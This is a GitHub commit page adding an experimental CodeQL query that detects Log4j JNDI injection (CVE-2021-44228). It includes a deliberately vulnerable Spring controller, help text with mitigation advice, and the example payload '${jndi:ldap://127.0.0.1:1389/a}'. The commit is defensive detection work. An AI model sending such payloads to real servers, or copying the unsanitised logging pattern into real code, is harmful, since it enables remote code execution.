Skip to content

Commit 85ff57b

Browse files
authored
Merge pull request #7354 from atorralba/atorralba/log4j-rce-experimental-query
Java: Experimental query for Log4j JNDI Injection
2 parents 37d76f5 + aee617f commit 85ff57b

File tree

3 files changed

+252
-0
lines changed

3 files changed

+252
-0
lines changed
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.example.restservice;
2+
3+
import org.apache.commons.logging.log4j.Logger;
4+
import org.springframework.web.bind.annotation.GetMapping;
5+
import org.springframework.web.bind.annotation.RequestParam;
6+
import org.springframework.web.bind.annotation.RestController;
7+
8+
@RestController
9+
public class Log4jJndiInjection {
10+
11+
private final Logger logger = LogManager.getLogger();
12+
13+
@GetMapping("/bad")
14+
public String bad(@RequestParam(value = "username", defaultValue = "name") String username) {
15+
logger.warn("User:'{}'", username);
16+
return username;
17+
}
18+
}
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
<!DOCTYPE qhelp PUBLIC
2+
"-//Semmle//qhelp//EN"
3+
"qhelp.dtd">
4+
<qhelp>
5+
6+
<overview>
7+
<p>
8+
This query flags up situations in which untrusted user data is included in Log4j messages. If an application uses a Log4j version prior to 2.15.0, using untrusted user data in log messages will make an application vulnerable to remote code execution through Log4j's LDAP JNDI parser (CVE-2021-44228).
9+
</p>
10+
<p>
11+
As per Apache's Log4j security guide: Apache Log4j2 &lt;=2.14.1 JNDI features used in configuration, log messages, and parameters
12+
do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or
13+
log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
14+
From Log4j 2.15.0, this behavior has been disabled by default. Note that this query will not try to determine which version of Log4j is used.
15+
</p>
16+
</overview>
17+
18+
<recommendation>
19+
<p>
20+
This issue was remediated in Log4j v2.15.0. The Apache Logging Services team provides the following mitigation advice:
21+
</p>
22+
<p>
23+
In previous releases (>=2.10) this behavior can be mitigated by setting system property <code>log4j2.formatMsgNoLookups</code> to <code>true</code>
24+
or by removing the <code>JndiLookup</code> class from the classpath (example: <code>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</code>).
25+
</p>
26+
<p>
27+
You can manually check for use of affected versions of Log4j by searching your project repository for Log4j use, which is often in a pom.xml file.
28+
</p>
29+
<p>
30+
Where possible, upgrade to Log4j version 2.15.0. If you are using Log4j v1 there is a migration guide available.
31+
</p>
32+
<p>
33+
Please note that Log4j v1 is End Of Life (EOL) and will not receive patches for this issue. Log4j v1 is also vulnerable to other RCE vectors and we
34+
recommend you migrate to Log4j 2.15.0 where possible.
35+
</p>
36+
<p>
37+
If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components.
38+
</p>
39+
</recommendation>
40+
41+
<example>
42+
<p>In this example, a username, provided by the user, is logged using <code>logger.warn</code> (from <code>org.apache.logging.log4j.Logger</code>).
43+
If a malicious user provides <code>${jndi:ldap://127.0.0.1:1389/a}</code> as a username parameter,
44+
Log4j will make a JNDI lookup on the specified LDAP server and potentially load arbitrary code.
45+
</p>
46+
<sample src="Log4jJndiInjection.java" />
47+
</example>
48+
49+
<references>
50+
<li>GitHub Advisory Database: <a href="https://github.com/advisories/GHSA-jfh8-c2jp-5v3q">Remote code injection in Log4j</a>.</li>
51+
</references>
52+
</qhelp>
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
/**
2+
* @name Log4j log injection and LDAP JNDI injection
3+
* @description Building Log4j log entries from user-controlled data may allow
4+
* attackers to inject malicious code through JNDI lookups.
5+
* @kind path-problem
6+
* @problem.severity error
7+
* @precision high
8+
* @id java/log4j-injection
9+
* @tags security
10+
* external/cwe/cwe-020
11+
* external/cwe/cwe-074
12+
* external/cwe/cwe-400
13+
* external/cwe/cwe-502
14+
*/
15+
16+
import java
17+
import semmle.code.java.dataflow.FlowSources
18+
import semmle.code.java.dataflow.ExternalFlow
19+
import DataFlow::PathGraph
20+
21+
private class LoggingSinkModels extends SinkModelCsv {
22+
override predicate row(string row) {
23+
row =
24+
[
25+
// org.apache.logging.log4j.Logger
26+
"org.apache.logging.log4j;Logger;true;" +
27+
["debug", "error", "fatal", "info", "trace", "warn"] +
28+
[
29+
";(CharSequence);;Argument[0];logging",
30+
";(CharSequence,Throwable);;Argument[0];logging",
31+
";(Marker,CharSequence);;Argument[1];logging",
32+
";(Marker,CharSequence,Throwable);;Argument[1];logging",
33+
";(Marker,Message);;Argument[1];logging",
34+
";(Marker,MessageSupplier);;Argument[1];logging",
35+
";(Marker,MessageSupplier);;Argument[1];logging",
36+
";(Marker,MessageSupplier,Throwable);;Argument[1];logging",
37+
";(Marker,Object);;Argument[1];logging",
38+
";(Marker,Object,Throwable);;Argument[1];logging",
39+
";(Marker,String);;Argument[1];logging",
40+
";(Marker,String,Object[]);;Argument[1..2];logging",
41+
";(Marker,String,Object);;Argument[1..2];logging",
42+
";(Marker,String,Object,Object);;Argument[1..3];logging",
43+
";(Marker,String,Object,Object,Object);;Argument[1..4];logging",
44+
";(Marker,String,Object,Object,Object,Object);;Argument[1..5];logging",
45+
";(Marker,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
46+
";(Marker,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
47+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
48+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
49+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
50+
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
51+
";(Marker,String,Supplier);;Argument[1..2];logging",
52+
";(Marker,String,Throwable);;Argument[1];logging",
53+
";(Marker,Supplier);;Argument[1];logging",
54+
";(Marker,Supplier,Throwable);;Argument[1];logging",
55+
";(MessageSupplier);;Argument[0];logging",
56+
";(MessageSupplier,Throwable);;Argument[0];logging", ";(Message);;Argument[0];logging",
57+
";(Message,Throwable);;Argument[0];logging", ";(Object);;Argument[0];logging",
58+
";(Object,Throwable);;Argument[0];logging", ";(String);;Argument[0];logging",
59+
";(String,Object[]);;Argument[0..1];logging",
60+
";(String,Object);;Argument[0..1];logging",
61+
";(String,Object,Object);;Argument[0..2];logging",
62+
";(String,Object,Object,Object);;Argument[0..3];logging",
63+
";(String,Object,Object,Object,Object);;Argument[0..4];logging",
64+
";(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
65+
";(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
66+
";(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
67+
";(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
68+
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
69+
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
70+
";(String,Supplier);;Argument[0..1];logging",
71+
";(String,Throwable);;Argument[0];logging", ";(Supplier);;Argument[0];logging",
72+
";(Supplier,Throwable);;Argument[0];logging"
73+
],
74+
"org.apache.logging.log4j;Logger;true;log" +
75+
[
76+
";(Level,CharSequence);;Argument[1];logging",
77+
";(Level,CharSequence,Throwable);;Argument[1];logging",
78+
";(Level,Marker,CharSequence);;Argument[2];logging",
79+
";(Level,Marker,CharSequence,Throwable);;Argument[2];logging",
80+
";(Level,Marker,Message);;Argument[2];logging",
81+
";(Level,Marker,MessageSupplier);;Argument[2];logging",
82+
";(Level,Marker,MessageSupplier);;Argument[2];logging",
83+
";(Level,Marker,MessageSupplier,Throwable);;Argument[2];logging",
84+
";(Level,Marker,Object);;Argument[2];logging",
85+
";(Level,Marker,Object,Throwable);;Argument[2];logging",
86+
";(Level,Marker,String);;Argument[2];logging",
87+
";(Level,Marker,String,Object[]);;Argument[2..3];logging",
88+
";(Level,Marker,String,Object);;Argument[2..3];logging",
89+
";(Level,Marker,String,Object,Object);;Argument[2..4];logging",
90+
";(Level,Marker,String,Object,Object,Object);;Argument[2..5];logging",
91+
";(Level,Marker,String,Object,Object,Object,Object);;Argument[2..6];logging",
92+
";(Level,Marker,String,Object,Object,Object,Object,Object);;Argument[2..7];logging",
93+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object);;Argument[2..8];logging",
94+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[2..9];logging",
95+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..10];logging",
96+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..11];logging",
97+
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..12];logging",
98+
";(Level,Marker,String,Supplier);;Argument[2..3];logging",
99+
";(Level,Marker,String,Throwable);;Argument[2];logging",
100+
";(Level,Marker,Supplier);;Argument[2];logging",
101+
";(Level,Marker,Supplier,Throwable);;Argument[2];logging",
102+
";(Level,Message);;Argument[1];logging",
103+
";(Level,MessageSupplier);;Argument[1];logging",
104+
";(Level,MessageSupplier,Throwable);;Argument[1];logging",
105+
";(Level,Message);;Argument[1];logging",
106+
";(Level,Message,Throwable);;Argument[1];logging",
107+
";(Level,Object);;Argument[1];logging", ";(Level,Object);;Argument[1];logging",
108+
";(Level,String);;Argument[1];logging",
109+
";(Level,Object,Throwable);;Argument[1];logging",
110+
";(Level,String);;Argument[1];logging",
111+
";(Level,String,Object[]);;Argument[1..2];logging",
112+
";(Level,String,Object);;Argument[1..2];logging",
113+
";(Level,String,Object,Object);;Argument[1..3];logging",
114+
";(Level,String,Object,Object,Object);;Argument[1..4];logging",
115+
";(Level,String,Object,Object,Object,Object);;Argument[1..5];logging",
116+
";(Level,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
117+
";(Level,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
118+
";(Level,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
119+
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
120+
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
121+
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
122+
";(Level,String,Supplier);;Argument[1..2];logging",
123+
";(Level,String,Throwable);;Argument[1];logging",
124+
";(Level,Supplier);;Argument[1];logging",
125+
";(Level,Supplier,Throwable);;Argument[1];logging"
126+
], "org.apache.logging.log4j;Logger;true;entry;(Object[]);;Argument[0];logging",
127+
"org.apache.logging.log4j;Logger;true;logMessage;(Level,Marker,String,StackTraceElement,Message,Throwable);;Argument[4];logging",
128+
"org.apache.logging.log4j;Logger;true;printf;(Level,Marker,String,Object[]);;Argument[2..3];logging",
129+
"org.apache.logging.log4j;Logger;true;printf;(Level,String,Object[]);;Argument[1..2];logging",
130+
// org.apache.logging.log4j.LogBuilder
131+
"org.apache.logging.log4j;LogBuilder;true;log;(CharSequence);;Argument[0];logging",
132+
"org.apache.logging.log4j;LogBuilder;true;log;(Message);;Argument[0];logging",
133+
"org.apache.logging.log4j;LogBuilder;true;log;(Object);;Argument[0];logging",
134+
"org.apache.logging.log4j;LogBuilder;true;log;(String);;Argument[0];logging",
135+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object[]);;Argument[0..1];logging",
136+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object);;Argument[0..1];logging",
137+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object);;Argument[0..2];logging",
138+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object);;Argument[0..3];logging",
139+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object);;Argument[0..4];logging",
140+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
141+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
142+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
143+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
144+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
145+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
146+
"org.apache.logging.log4j;LogBuilder;true;log;(String,Supplier[]);;Argument[0..1];logging",
147+
"org.apache.logging.log4j;LogBuilder;true;log;(Supplier);;Argument[0];logging"
148+
]
149+
}
150+
}
151+
152+
/** A data flow sink for unvalidated user input that is used to log messages. */
153+
class Log4jInjectionSink extends DataFlow::Node {
154+
Log4jInjectionSink() { sinkNode(this, "logging") }
155+
}
156+
157+
/**
158+
* A node that sanitizes a message before logging to avoid log injection.
159+
*/
160+
class Log4jInjectionSanitizer extends DataFlow::Node {
161+
Log4jInjectionSanitizer() {
162+
this.getType() instanceof BoxedType or this.getType() instanceof PrimitiveType
163+
}
164+
}
165+
166+
/**
167+
* A taint-tracking configuration for tracking untrusted user input used in log entries.
168+
*/
169+
class Log4jInjectionConfiguration extends TaintTracking::Configuration {
170+
Log4jInjectionConfiguration() { this = "Log4jInjectionConfiguration" }
171+
172+
override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
173+
174+
override predicate isSink(DataFlow::Node sink) { sink instanceof Log4jInjectionSink }
175+
176+
override predicate isSanitizer(DataFlow::Node node) { node instanceof Log4jInjectionSanitizer }
177+
}
178+
179+
from Log4jInjectionConfiguration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
180+
where cfg.hasFlowPath(source, sink)
181+
select sink.getNode(), source, sink, "This $@ flows to a Log4j log entry.", source.getNode(),
182+
"user-provided value"

0 commit comments

Comments
 (0)